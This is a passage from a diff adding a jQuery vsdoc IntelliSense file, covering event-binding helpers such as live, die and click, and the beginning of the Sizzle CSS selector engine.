) || false; + })); + }, + + hover: function( fnOver, fnOut ) { + /// + /// Simulates hovering (moving the mouse on or off of an object). + /// + /// The function to fire when the mouse is moved over a matched element. + /// The function to fire when the mouse is moved off of a matched element. + + return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); + } +}); + +// jQuery.each(["live", "die"], function( i, name ) { +// jQuery.fn[ name ] = function( types, data, fn ) { +// var type, i = 0; +// +// if ( jQuery.isFunction( data ) ) { +// fn = data; +// data = undefined; +// } +// +// types = (types || "").split( /\s+/ ); +// +// while ( (type = types[ i++ ]) != null ) { +// type = type === "focus" ? "focusin" : // focus --> focusin +// type === "blur" ? "focusout" : // blur --> focusout +// type === "hover" ? types.push("mouseleave") && "mouseenter" : // hover support +// type; +// +// if ( name === "live" ) { +// // bind live handler +// jQuery( this.context ).bind( liveConvert( type, this.selector ), { +// data: data, selector: this.selector, live: type +// }, fn ); +// +// } else { +// // unbind live handler +// jQuery( this.context ).unbind( liveConvert( type, this.selector ), fn ? { guid: fn.guid + this.selector + type } : null ); +// } +// } +// +// return this; +// } +// }); + +jQuery.fn[ "live" ] = function( types, data, fn ) { + /// + /// Attach a handler to the event for all elements which match the current selector, now or + /// in the future. + /// + /// + /// A string containing a JavaScript event type, such as "click" or "keydown". + /// + /// + /// A map of data that will be passed to the event handler. + /// + /// + /// A function to execute at the time the event is triggered. + /// + /// + + var type, i = 0; + + if ( jQuery.isFunction( data ) ) { + fn = data; + data = undefined; + } + + types = (types || "").split( /\s+/ ); + + while ( (type = types[ i++ ]) != null ) { + type = type === "focus" ? "focusin" : // focus --> focusin + type === "blur" ? "focusout" : // blur --> focusout + type === "hover" ? types.push("mouseleave") && "mouseenter" : // hover support + type; + + if ( "live" === "live" ) { + // bind live handler + jQuery( this.context ).bind( liveConvert( type, this.selector ), { + data: data, selector: this.selector, live: type + }, fn ); + + } else { + // unbind live handler + jQuery( this.context ).unbind( liveConvert( type, this.selector ), fn ? { guid: fn.guid + this.selector + type } : null ); + } + } + + return this; +} + +jQuery.fn[ "die" ] = function( types, data, fn ) { + /// + /// Remove all event handlers previously attached using .live() from the elements. + /// + /// + /// A string containing a JavaScript event type, such as click or keydown. + /// + /// + /// The function that is to be no longer executed. + /// + /// + + var type, i = 0; + + if ( jQuery.isFunction( data ) ) { + fn = data; + data = undefined; + } + + types = (types || "").split( /\s+/ ); + + while ( (type = types[ i++ ]) != null ) { + type = type === "focus" ? "focusin" : // focus --> focusin + type === "blur" ? "focusout" : // blur --> focusout + type === "hover" ? types.push("mouseleave") && "mouseenter" : // hover support + type; + + if ( "die" === "live" ) { + // bind live handler + jQuery( this.context ).bind( liveConvert( type, this.selector ), { + data: data, selector: this.selector, live: type + }, fn ); + + } else { + // unbind live handler + jQuery( this.context ).unbind( liveConvert( type, this.selector ), fn ? { guid: fn.guid + this.selector + type } : null ); + } + } + + return this; +} + +function liveHandler( event ) { + var stop, elems = [], selectors = [], args = arguments, + related, match, fn, elem, j, i, l, data, + live = jQuery.extend({}, jQuery.data( this, "events" ).live); + + // Make sure we avoid non-left-click bubbling in Firefox (#3861) + if ( event.button && event.type === "click" ) { + return; + } + + for ( j in live ) { + fn = live[j]; + if ( fn.live === event.type || + fn.altLive && jQuery.inArray(event.type, fn.altLive) > -1 ) { + + data = fn.data; + if ( !(data.beforeFilter && data.beforeFilter[event.type] && + !data.beforeFilter[event.type](event)) ) { + selectors.push( fn.selector ); + } + } else { + delete live[j]; + } + } + + match = jQuery( event.target ).closest( selectors, event.currentTarget ); + + for ( i = 0, l = match.length; i < l; i++ ) { + for ( j in live ) { + fn = live[j]; + elem = match[i].elem; + related = null; + + if ( match[i].selector === fn.selector ) { + // Those two events require additional checking + if ( fn.live === "mouseenter" || fn.live === "mouseleave" ) { + related = jQuery( event.relatedTarget ).closest( fn.selector )[0]; + } + + if ( !related || related !== elem ) { + elems.push({ elem: elem, fn: fn }); + } + } + } + } + + for ( i = 0, l = elems.length; i < l; i++ ) { + match = elems[i]; + event.currentTarget = match.elem; + event.data = match.fn.data; + if ( match.fn.apply( match.elem, args ) === false ) { + stop = false; + break; + } + } + + return stop; +} + +function liveConvert( type, selector ) { + return "live." + (type ? type + "." : "") + selector.replace(/\./g, "`").replace(/ /g, "&"); +} + +// jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " + +// "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + +// "change select submit keydown keypress keyup error").split(" "), function( i, name ) { +// +// // Handle event binding +// jQuery.fn[ name ] = function( fn ) { +// return fn ? this.bind( name, fn ) : this.trigger( name ); +// }; +// +// if ( jQuery.attrFn ) { +// jQuery.attrFn[ name ] = true; +// } +// }); + +jQuery.fn[ "blur" ] = function( fn ) { + /// + /// 1: blur() - Triggers the blur event of each matched element. + /// 2: blur(fn) - Binds a function to the blur event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "blur", fn ) : this.trigger( "blur" ); +}; + +jQuery.fn[ "focus" ] = function( fn ) { + /// + /// 1: focus() - Triggers the focus event of each matched element. + /// 2: focus(fn) - Binds a function to the focus event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "focus", fn ) : this.trigger( "focus" ); +}; + +jQuery.fn[ "focusin" ] = function( fn ) { + /// + /// Bind an event handler to the "focusin" JavaScript event. + /// + /// + /// A function to execute each time the event is triggered. + /// + /// + + return fn ? this.bind( "focusin", fn ) : this.trigger( "focusin" ); +}; + +jQuery.fn[ "focusout" ] = function( fn ) { + /// + /// Bind an event handler to the "focusout" JavaScript event. + /// + /// + /// A function to execute each time the event is triggered. + /// + /// + + return fn ? this.bind( "focusout", fn ) : this.trigger( "focusout" ); +}; + +jQuery.fn[ "load" ] = function( fn ) { + /// + /// 1: load() - Triggers the load event of each matched element. + /// 2: load(fn) - Binds a function to the load event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "load", fn ) : this.trigger( "load" ); +}; + +jQuery.fn[ "resize" ] = function( fn ) { + /// + /// 1: resize() - Triggers the resize event of each matched element. + /// 2: resize(fn) - Binds a function to the resize event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "resize", fn ) : this.trigger( "resize" ); +}; + +jQuery.fn[ "scroll" ] = function( fn ) { + /// + /// 1: scroll() - Triggers the scroll event of each matched element. + /// 2: scroll(fn) - Binds a function to the scroll event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "scroll", fn ) : this.trigger( "scroll" ); +}; + +jQuery.fn[ "unload" ] = function( fn ) { + /// + /// 1: unload() - Triggers the unload event of each matched element. + /// 2: unload(fn) - Binds a function to the unload event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "unload", fn ) : this.trigger( "unload" ); +}; + +jQuery.fn[ "click" ] = function( fn ) { + /// + /// 1: click() - Triggers the click event of each matched element. + /// 2: click(fn) - Binds a function to the click event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "click", fn ) : this.trigger( "click" ); +}; + +jQuery.fn[ "dblclick" ] = function( fn ) { + /// + /// 1: dblclick() - Triggers the dblclick event of each matched element. + /// 2: dblclick(fn) - Binds a function to the dblclick event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "dblclick", fn ) : this.trigger( "dblclick" ); +}; + +jQuery.fn[ "mousedown" ] = function( fn ) { + /// + /// Binds a function to the mousedown event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mousedown", fn ) : this.trigger( "mousedown" ); +}; + +jQuery.fn[ "mouseup" ] = function( fn ) { + /// + /// Bind a function to the mouseup event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseup", fn ) : this.trigger( "mouseup" ); +}; + +jQuery.fn[ "mousemove" ] = function( fn ) { + /// + /// Bind a function to the mousemove event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mousemove", fn ) : this.trigger( "mousemove" ); +}; + +jQuery.fn[ "mouseover" ] = function( fn ) { + /// + /// Bind a function to the mouseover event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseover", fn ) : this.trigger( "mouseover" ); +}; + +jQuery.fn[ "mouseout" ] = function( fn ) { + /// + /// Bind a function to the mouseout event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseout", fn ) : this.trigger( "mouseout" ); +}; + +jQuery.fn[ "mouseenter" ] = function( fn ) { + /// + /// Bind a function to the mouseenter event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseenter", fn ) : this.trigger( "mouseenter" ); +}; + +jQuery.fn[ "mouseleave" ] = function( fn ) { + /// + /// Bind a function to the mouseleave event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseleave", fn ) : this.trigger( "mouseleave" ); +}; + +jQuery.fn[ "change" ] = function( fn ) { + /// + /// 1: change() - Triggers the change event of each matched element. + /// 2: change(fn) - Binds a function to the change event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "change", fn ) : this.trigger( "change" ); +}; + +jQuery.fn[ "select" ] = function( fn ) { + /// + /// 1: select() - Triggers the select event of each matched element. + /// 2: select(fn) - Binds a function to the select event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "select", fn ) : this.trigger( "select" ); +}; + +jQuery.fn[ "submit" ] = function( fn ) { + /// + /// 1: submit() - Triggers the submit event of each matched element. + /// 2: submit(fn) - Binds a function to the submit event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "submit", fn ) : this.trigger( "submit" ); +}; + +jQuery.fn[ "keydown" ] = function( fn ) { + /// + /// 1: keydown() - Triggers the keydown event of each matched element. + /// 2: keydown(fn) - Binds a function to the keydown event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "keydown", fn ) : this.trigger( "keydown" ); +}; + +jQuery.fn[ "keypress" ] = function( fn ) { + /// + /// 1: keypress() - Triggers the keypress event of each matched element. + /// 2: keypress(fn) - Binds a function to the keypress event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "keypress", fn ) : this.trigger( "keypress" ); +}; + +jQuery.fn[ "keyup" ] = function( fn ) { + /// + /// 1: keyup() - Triggers the keyup event of each matched element. + /// 2: keyup(fn) - Binds a function to the keyup event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "keyup", fn ) : this.trigger( "keyup" ); +}; + +jQuery.fn[ "error" ] = function( fn ) { + /// + /// 1: error() - Triggers the error event of each matched element. + /// 2: error(fn) - Binds a function to the error event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "error", fn ) : this.trigger( "error" ); +}; + +// Prevent memory leaks in IE +// Window isn't included so as not to unbind existing unload events +// More info: +// - http://isaacschlueter.com/2006/10/msie-memory-leaks/ +if ( window.attachEvent && !window.addEventListener ) { + window.attachEvent("onunload", function() { + for ( var id in jQuery.cache ) { + if ( jQuery.cache[ id ].handle ) { + // Try/Catch is to handle iframes being unloaded, see #4280 + try { + jQuery.event.remove( jQuery.cache[ id ].handle.elem ); + } catch(e) {} + } + } + }); +} +/*! + * Sizzle CSS Selector Engine - v1.0 + * Copyright 2009, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * More information: http://sizzlejs.com/ + */ +(function(){ + +var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, + done = 0, + toString = Object.prototype.toString, + hasDuplicate = false, + baseHasDuplicate = true; + +// Here we check if the JavaScript engine is using some sort of +// optimization where it does not always call our comparision +// function. If that is the case, discard the hasDuplicate value. +// Thus far that includes Google Chrome. +[0, 0].sort(function(){ + baseHasDuplicate = false; + return 0; +}); + +var Sizzle = function(selector, context, results, seed) { + results = results || []; + var origContext = context = context || document; + + if ( context.nodeType !== 1 && context.nodeType !== 9 ) { + return []; + } + + if ( !selector || typeof selector !== "string" ) { + return results; + } + + var parts = [], m, set, checkSet, extra, prune = true, contextXML = isXML(context), + soFar = selector; + + // Reset the position of the chunker regexp (start from head) + while ( (chunker.exec(""), m = chunker.exec(soFar)) !== null ) { + soFar = m[3]; + + parts.push( m[1] ); + + if ( m[2] ) { + extra = m[3]; + break; + } + } + + if ( parts.length > 1 && origPOS.exec( selector ) ) { + if ( parts.length === 2 && Expr.relative[ parts[0] ] ) { + set = posProcess( parts[0] + parts[1], context ); + } else { + set = Expr.relative[ parts[0] ] ? + [ context ] : + Sizzle( parts.shift(), context ); + + while ( parts.length ) { + selector = parts.shift(); + + if ( Expr.relative[ selector ] ) { + selector += parts.shift(); + } + + set = posProcess( selector, set ); + } + } + } else { + // Take a shortcut and set the context if the root selector is an ID + // (but not if it'll be faster if the inner selector is an ID) + if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML && + Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) { + var ret = Sizzle.find( parts.shift(), context, contextXML ); + context = ret.expr ? Sizzle.filter( ret.expr, ret.set )[0] : ret.set[0]; + } + + if ( context ) { + var ret = seed ? + { expr: parts.pop(), set: makeArray(seed) } : + Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML ); + set = ret.expr ? Sizzle.filter( ret.expr, ret.set ) : ret.set; + + if ( parts.length > 0 ) { + checkSet = makeArray(set); + } else { + prune = false; + } + + while ( parts.length ) { + var cur = parts.pop(), pop = cur; + + if ( !Expr.relative[ cur ] ) { + cur = ""; + } else { + pop = parts.pop(); + } + + if ( pop == null ) { + pop = context; + } + + Expr.relative[ cur ]( checkSet, pop, contextXML ); + } + } else { + checkSet = parts = []; + } + } + + if ( !checkSet ) { + checkSet = set; + } + + if ( !checkSet ) { + Sizzle.error( cur || selector ); + } + + if ( toString.call(checkSet) === "[object Array]" ) { + if ( !prune ) { + results.push.apply( results, checkSet ); + } else if ( context && context.nodeType === 1 ) { + for ( var i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && contains(context, checkSet[i])) ) { + results.push( set[i] ); + } + } + } else { + for ( var i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && checkSet[i].nodeType === 1 ) { + results.push( set[i] ); + } + } + } + } else { + makeArray( checkSet, results ); + } + + if ( extra ) { + Sizzle( extra, origContext, results, seed ); + Sizzle.uniqueSort( results ); + } + + return results; +}; + +Sizzle.uniqueSort = function(results){ + /// + /// Removes all duplicate elements from an array of elements. + /// + /// The array to translate + /// The array after translation. + + if ( sortOrder ) { + hasDuplicate = baseHasDuplicate; + results.sort(sortOrder); + + if ( hasDuplicate ) { + for ( var i = 1; i < results.length; i++ ) { + if ( results[i] === results[i-1] ) { + results.splice(i--, 1); + } + } + } + } + + return results; +}; + +Sizzle.matches = function(expr, set){ + return Sizzle(expr, null, null, set); +}; + +Sizzle.find = function(expr, context, isXML){ + var set, match; + + if ( !expr ) { + return []; + } + + for ( var i = 0, l = Expr.order.length; i < l; i++ ) { + var type = Expr.order[i], match; + + if ( (match = Expr.leftMatch[ type ].exec( expr )) ) { + var left = match[1]; + match.splice(1,1); + + if ( left.substr( left.length - 1 ) !== "\\" ) { + match[1] = (match[1] || "").replace(/\\/g, ""); + set = Expr.find[ type ]( match, context, isXML ); + if ( set != null ) { + expr = expr.replace( Expr.match[ type ], "" ); + break; + } + } + } + } + + if ( !set ) { + set = context.getElementsByTagName("*"); + } + + return {set: set, expr: expr}; +}; + +Sizzle.filter = function(expr, set, inplace, not){ + var old = expr, result = [], curLoop = set, match, anyFound, + isXMLFilter = set && set[0] && isXML(set[0]); + + while ( expr && set.length ) { + for ( var type in Expr.filter ) { + if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) { + var filter = Expr.filter[ type ], found, item, left = match[1]; + anyFound = false; + + match.splice(1,1); + + if ( left.substr( left.length - 1 ) === "\\" ) { + continue; + } + + if ( curLoop === result ) { + result = []; + } + + if ( Expr.preFilter[ type ] ) { + match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter ); + + if ( !match ) { + anyFound = found = true; + } else if ( match === true ) { + continue; + } + } + + if ( match ) { + for ( var i = 0; (item = curLoop[i]) != null; i++ ) { + if ( item ) { + found = filter( item, match, i, curLoop ); + var pass = not ^ !!found; + + if ( inplace && found != null ) { + if ( pass ) { + anyFound = true; + } else { + curLoop[i] = false; + } + } else if ( pass ) { + result.push( item ); + anyFound = true; + } + } + } + } + + if ( found !== undefined ) { + if ( !inplace ) { + curLoop = result; + } + + expr = expr.replace( Expr.match[ type ], "" ); + + if ( !anyFound ) { + return []; + } + + break; + } + } + } + + // Improper expression + if ( expr === old ) { + if ( anyFound == null ) { + Sizzle.error( expr ); + } else { + break; + } + } + + old = expr; + } + + return curLoop; +}; + +Sizzle.error = function( msg ) { + throw "Syntax error, unrecognized expression: " + msg; +}; + +var Expr = Sizzle.selectors = { + order: [ "ID", "NAME", "TAG" ], + match: { + ID: /#((?:[\w\u00c0-\uFFFF-]|\\.)+)/, + CLASS: /\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/, + NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/, + ATTR: /\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/, + TAG: /^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/, + CHILD: /:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/, + POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/, + PSEUDO: /:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/ + }, + leftMatch: {}, + attrMap: { + "class": "className", + "for": "htmlFor" + }, + attrHandle: { + href: function(elem){ + return elem.getAttribute("href"); + } + }, + relative: { + "+": function(checkSet, part){ + var isPartStr = typeof part === "string", + isTag = isPartStr && !/\W/.test(part), + isPartStrNotTag = isPartStr && !isTag; + + if ( isTag ) { + part = part.toLowerCase(); + } + + for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) { + if ( (elem = checkSet[i]) ) { + while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {} + + checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ? + elem || false : + elem === part; + } + } + + if ( isPartStrNotTag ) { + Sizzle.filter( part, checkSet, true ); + } + }, + ">": function(checkSet, part){ + var isPartStr = typeof part === "string"; + + if ( isPartStr && !/\W/.test(part) ) { + part = part.toLowerCase(); + + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + if ( elem ) { + var parent = elem.parentNode; + checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false; + } + } + } else { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + if ( elem ) { + checkSet[i] = isPartStr ? + elem.parentNode : + elem.parentNode === part; + } + } + + if ( isPartStr ) { + Sizzle.filter( part, checkSet, true ); + } + } + }, + "": function(checkSet, part, isXML){ + var doneName = done++, checkFn = dirCheck; + + if ( typeof part === "string" && !/\W/.test(part) ) { + var nodeCheck = part = part.toLowerCase(); + checkFn = dirNodeCheck; + } + + checkFn("parentNode", part, doneName, checkSet, nodeCheck, isXML); + }, + "~": function(checkSet, part, isXML){ + var doneName = done++, checkFn = dirCheck; + + if ( typeof part === "string" && !/\W/.test(part) ) { + var nodeCheck = part = part.toLowerCase(); + checkFn = dirNodeCheck; + } + + checkFn("previousSibling", part, doneName, checkSet, nodeCheck, isXML); + } + }, + find: { + ID: function(match, context, isXML){ + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + return m ? [m] : []; + } + }, + NAME: function(match, context){ + if ( typeof context.getElementsByName !== "undefined" ) { + var ret = [], results = context.getElementsByName(match[1]); + + for ( var i = 0, l = results.length; i < l; i++ ) { + if ( results[i].getAttribute("name") === match[1] ) { + ret.push( results[i] ); + } + } + + return ret.length === 0 ? null : ret; + } + }, + TAG: function(match, context){ + return context.getElementsByTagName(match[1]); + } + }, + preFilter: { + CLASS: function(match, curLoop, inplace, result, not, isXML){ + match = " " + match[1].replace(/\\/g, "") + " "; + + if ( isXML ) { + return match; + } + + for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) { + if ( elem ) { + if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n]/g, " ").indexOf(match) >= 0) ) { + if ( !inplace ) { + result.push( elem ); + } + } else if ( inplace ) { + curLoop[i] = false; + } + } + } + + return false; + }, + ID: function(match){ + return match[1].replace(/\\/g, ""); + }, + TAG: function(match, curLoop){ + return match[1].toLowerCase(); + }, + CHILD: function(match){ + if ( match[1] === "nth" ) { + // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6' + var test = /(-?)(\d*)n((?:\+|-)?\d*)/.exec( + match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" || + !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]); + + // calculate the numbers (first)n+(last) including if they are negative + match[2] = (test[1] + (test[2] || 1)) - 0; + match[3] = test[3] - 0; + } + + // TODO: Move to normal caching system + match[0] = done++; + + return match; + }, + ATTR: function(match, curLoop, inplace, result, not, isXML){ + var name = match[1].replace(/\\/g, ""); + + if ( !isXML && Expr.attrMap[name] ) { + match[1] = Expr.attrMap[name]; + } + + if ( match[2] === "~=" ) { + match[4] = " " + match[4] + " "; + } + + return match; + }, + PSEUDO: function(match, curLoop, inplace, result, not){ + if ( match[1] === "not" ) { + // If we're dealing with a complex expression, or a simple one + if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) { + match[3] = Sizzle(match[3], null, null, curLoop); + } else { + var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not); + if ( !inplace ) { + result.push.apply( result, ret ); + } + return false; + } + } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) { + return true; + } + + return match; + }, + POS: function(match){ + match.unshift( true ); + return match; + } + }, + filters: { + enabled: function(elem){ + return elem.disabled === false && elem.type !== "hidden"; + }, + disabled: function(elem){ + return elem.disabled === true; + }, + checked: function(elem){ + return elem.checked === true; + }, + selected: function(elem){ + // Accessing this property makes selected-by-default + // options in Safari work properly + elem.parentNode.selectedIndex; + return elem.selected === true; + }, + parent: function(elem){ + return !!elem.firstChild; + }, + empty: function(elem){ + return !elem.firstChild; + }, + has: function(elem, i, match){ + /// + /// Internal use only; use hasClass('class') + /// + /// + + return !!Sizzle( match[3], elem ).length; + }, + header: function(elem){ + return /h\d/i.test( elem.nodeName ); + }, + text: function(elem){ + return "text" === elem.type; + }, + radio: function(elem){ + return "radio" === elem.type; + }, + checkbox: function(elem){ + return "checkbox" === elem.type; + }, + file: function(elem){ + return "file" === elem.type; + }, + password: function(elem){ + return "password" === elem.type; + }, + submit: function(elem){ + return "submit" === elem.type; + }, + image: function(elem){ + return "image" === elem.type; + }, + reset: function(elem){ + return "reset" === elem.type; + }, + button: function(elem){ + return "button" === elem.type || elem.nodeName.toLowerCase() === "button"; + }, + input: function(elem){ + return /input|select|textarea|button/i.test(elem.nodeName); + } + }, + setFilters: { + first: function(elem, i){ + return i === 0; + }, + last: function(elem, i, match, array){ + return i === array.length - 1; + }, + even: function(elem, i){ + return i % 2 === 0; + }, + odd: function(elem, i){ + return i % 2 === 1; + }, + lt: function(elem, i, match){ + return i < match[3] - 0; + }, + gt: function(elem, i, match){ + return i > match[3] - 0; + }, + nth: function(elem, i, match){ + return match[3] - 0 === i; + }, + eq: function(elem, i, match){ + return match[3] - 0 === i; + } + }, + filter: { + PSEUDO: function(elem, match, i, array){ + var name = match[1], filter = Expr.filters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + } else if ( name === "contains" ) { + return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0; + } else if ( name === "not" ) { + var not = match[3]; + + for ( var i = 0, l = not.length; i < l; i++ ) { + if ( not[i] === elem ) { + return false; + } + } + + return true; + } else { + Sizzle.error( "Syntax error, unrecognized expression: " + name ); + } + }, + CHILD: function(elem, match){ + var type = match[1], node = elem; + switch (type) { + case 'only': + case 'first': + while ( (node = node.previousSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + if ( type === "first" ) { + return true; + } + node = elem; + case 'last': + while ( (node = node.nextSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + return true; + case 'nth': + var first = match[2], last = match[3]; + + if ( first === 1 && last === 0 ) { + return true; + } + + var doneName = match[0], + parent = elem.parentNode; + + if ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) { + var count = 0; + for ( node = parent.firstChild; node; node = node.nextSibling ) { + if ( node.nodeType === 1 ) { + node.nodeIndex = ++count; + } + } + parent.sizcache = doneName; + } + + var diff = elem.nodeIndex - last; + if ( first === 0 ) { + return diff === 0; + } else { + return ( diff % first === 0 && diff / first >= 0 ); + } + } + }, + ID: function(elem, match){ + return elem.nodeType === 1 && elem.getAttribute("id") === match; + }, + TAG: function(elem, match){ + return (match === "*" && elem.nodeType === 1) || elem.nodeName.toLowerCase() === match; + }, + CLASS: function(elem, match){ + return (" " + (elem.className || elem.getAttribute("class")) + " ") + .indexOf( match ) > -1; + }, + ATTR: function(elem, match){ + var name = match[1], + result = Expr.attrHandle[ name ] ? + Expr.attrHandle[ name ]( elem ) : + elem[ name ] != null ? + elem[ name ] : + elem.getAttribute( name ), + value = result + "", + type = match[2], + check = match[4]; + + return result == null ? + type === "!=" : + type === "=" ? + value === check : + type === "*=" ? + value.indexOf(check) >= 0 : + type === "~=" ? + (" " + value + " ").indexOf(check) >= 0 : + !check ? + value && result !== false : + type === "!=" ? + value !== check : + type === "^=" ? + value.indexOf(check) === 0 : + type === "$=" ? + value.substr(value.length - check.length) === check : + type === "|=" ? + value === check || value.substr(0, check.length + 1) === check + "-" : + false; + }, + POS: function(elem, match, i, array){ + var name = match[2], filter = Expr.setFilters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + } + } + } +}; + +var origPOS = Expr.match.POS; + +for ( var type in Expr.match ) { + Expr.match[ type ] = new RegExp( Expr.match[ type ].source + /(?![^\[]*\])(?![^\(]*\))/.source ); + Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, function(all, num){ + return "\\" + (num - 0 + 1); + })); +} + +var makeArray = function(array, results) { + array = Array.prototype.slice.call( array, 0 ); + + if ( results ) { + results.push.apply( results, array ); + return results; + } + + return array; +}; + +// Perform a simple check to determine if the browser is capable of +// converting a NodeList to an array using builtin methods. +try { + Array.prototype.slice.call( document.documentElement.childNodes, 0 ); + +// Provide a fallback method if it does not work +} catch(e){ + makeArray = function(array, results) { + var ret = results || []; + + if ( toString.call(array) === "[object Array]" ) { + Array.prototype.push.apply( ret, array ); + } else { + if ( typeof array.length === "number" ) { + for ( var i = 0, l = array.length; i < l; i++ ) { + ret.push( array[i] ); + } + } else { + for ( var i = 0; array[i]; i++ ) { + ret.push( array[i] ); + } + } + } + + return ret; + }; +} + +var sortOrder; + +if ( document.documentElement.compareDocumentPosition ) { + sortOrder = function( a, b ) { + if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) { + if ( a == b ) { + hasDuplicate = true; + } + return a.compareDocumentPosition ? -1 : 1; + } + + var ret = a.compareDocumentPosition(b) & 4 ? -1 : a === b ? 0 : 1; + if ( ret === 0 ) { + hasDuplicate = true; + } + return ret; + }; +} else if ( "sourceIndex" in document.documentElement ) { + sortOrder = function( a, b ) { + if ( !a.sourceIndex || !b.sourceIndex ) { + if ( a == b ) { + hasDuplicate = true; + } + return a.sourceIndex ? -1 : 1; + } + + var ret = a.sourceIndex - b.sourceIndex; + if ( ret === 0 ) { + hasDuplicate = true; + } + return ret; + }; +} else if ( document.createRange ) { + sortOrder = function( a, b ) { + if ( !a.ownerDocument || !b.ownerDocument ) { + if ( a == b ) { + hasDuplicate = true; + } + return a.ownerDocument ? -1 : 1; + } + + var aRange = a.ownerDocument.createRange(), bRange = b.ownerDocument.createRange(); + aRange.setStart(a, 0); + aRange.setEnd(a, 0); + bRange.setStart(b, 0); + bRange.setEnd(b, 0); + var ret = aRange.compareBoundaryPoints(Range.START_TO_END, bRange); + if ( ret === 0 ) { + hasDuplicate = true; + } + return ret; + }; +} + +// Utility function for retreiving the text value of an array of DOM nodes +function getText( elems ) { + var ret = "", elem; + + for ( var i = 0; elems[i]; i++ ) { + elem = elems[i]; + + // Get the text from text nodes and CDATA nodes + if ( elem.nodeType === 3 || elem.nodeType === 4 ) { + ret += elem.nodeValue; + + // Traverse everything else, except comment nodes + } else if ( elem.nodeType !== 8 ) { + ret += getText( elem.childNodes ); + } + } + + return ret; +} + +// [vsdoc] The following function has been modified for IntelliSense. +// Check to see if the browser returns elements by name when +// querying by getElementById (and provide a workaround) +(function(){ + // We're going to inject a fake input element with a specified name + // var form = document.createElement("div"), + // id = "script" + (new Date).getTime(); + // form.innerHTML = ""; + + // // Inject it into the root element, check its status, and remove it quickly + // var root = document.documentElement; + // root.insertBefore( form, root.firstChild ); + + // The workaround has to do additional checks after a getElementById + // Which slows things down for other browsers (hence the branching) + // if ( document.getElementById( id ) ) { + Expr.find.ID = function(match, context, isXML){ + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + return m ? m.id === match[1] || typeof m.getAttributeNode !== "undefined" && 